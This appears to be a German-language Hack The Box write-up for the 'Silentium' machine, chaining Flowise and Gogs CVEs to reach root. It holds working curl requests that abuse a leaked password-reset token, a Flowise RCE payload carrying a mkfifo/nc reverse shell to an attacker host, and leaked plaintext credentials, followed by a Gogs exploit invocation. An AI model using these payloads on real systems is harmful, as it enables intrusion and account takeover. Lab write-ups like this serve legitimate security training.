
Hack The Box - Silentium-Maschinen-Writeup | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt
Offene Ports: 22 (SSH), 80 (HTTP)
staging.silentium.htb läuft mit Flowise 3.0.5Der forgot-password-Endpunkt gibt das tempToken direkt in der API-Antwort preis.
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]"}}'
Verwende das geleakte tempToken, um das Passwort zurückzusetzen:
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'
Melde dich an, um einen API-Schlüssel zu erhalten, und löse dann die RCE aus:
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <API_KEY>" \
-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'
Shell im Docker-Container als root erhalten.
Umgebungsvariablen überprüft:
env
Anmeldedaten gefunden:
FLOWISE_USERNAME=benFLOWISE_PASSWORD=F1l3_d0ck3rSSH zum Host:
ssh ben@<IP>
Gogs läuft intern auf Port 3001 als root.
SSH-Tunnel einrichten:
ssh -L 8080:127.0.0.1:3001 ben@<IP>
Konto auf Gogs über http://127.0.0.1:8080 registriert, API-Token erzeugt.
Den Exploit von TYehan verwendet:
python3 exploit.py \
--url http://127.0.0.1:8080 \
--username <user> \
--password <pass> \
--token <token> \
--host <LHOST> \
--port 4446
Root-Shell erhalten! 🎉
/home/ben/user.txt/root/root.txt/etc/hosts hinzugefügt: